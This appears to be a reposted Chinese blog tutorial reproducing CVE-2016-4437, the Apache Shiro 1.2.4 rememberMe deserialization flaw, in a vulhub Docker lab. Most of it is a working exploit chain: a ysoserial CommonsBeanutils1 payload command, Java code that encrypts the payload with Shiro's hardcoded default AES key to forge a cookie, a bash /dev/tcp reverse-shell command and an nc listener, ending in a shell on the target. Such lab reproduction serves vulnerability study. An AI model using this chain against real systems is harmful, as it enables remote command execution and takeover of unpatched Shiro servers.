您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何實現反序列化命令執行CVE-2016-4437復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
cd /vulhub/shiro/cve-2016-4437 docker-compose up -d # 注意:啟動端口8080,若沖突請修改
使用IDEA創建maven項目并導入依賴
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Shiro</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
</project>
shiro組件自然是必須的,junit純屬方便測試(復習一下)
項目結構:
注意:poc.ser的路徑相對于項目根路徑
根據大佬的文章可知問題出在:org.apache.shiro.mgt.AbstractRememberMeManager
打開源碼進行分析:
26行定義了默認key,32行構造函數用默認的key對加密密鑰進行賦值
167行使用密鑰進行AES解密,也就是默認的密鑰
綜上,由于AES默認密鑰是固定的,如果開發者沒有手動修改則可以操控反序列化的數據進而getshell
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
將字節碼文件拷貝到項目中
import org.apache.shiro.codec.Base64; import org.apache.shiro.codec.CodecSupport; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.io.IOException; import java.nio.file.FileSystems; import java.nio.file.Files; import org.junit.Test; public class ShiroTest { @Test public void RCE() throws IOException { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("", "", "poc.ser")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
成功創建文件
1 制作命令
# 反彈shell的命令,注意:>& 之間不能有空格 bash -i >& /dev/tcp/ip/port 0>& 1
在線轉換網址:http://www.jackson-t.ca/runtime-exec-payloads.html
2 使用ysoserial生成字節碼并用上面的代碼生成加密的cookie
3 在攻擊終端中開啟nc監聽
# 監聽連接 nc -lvp port
4 修改cookie并發送
5 查看監聽情況
NICE,成功返回shell
關于如何實現反序列化命令執行CVE-2016-4437復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。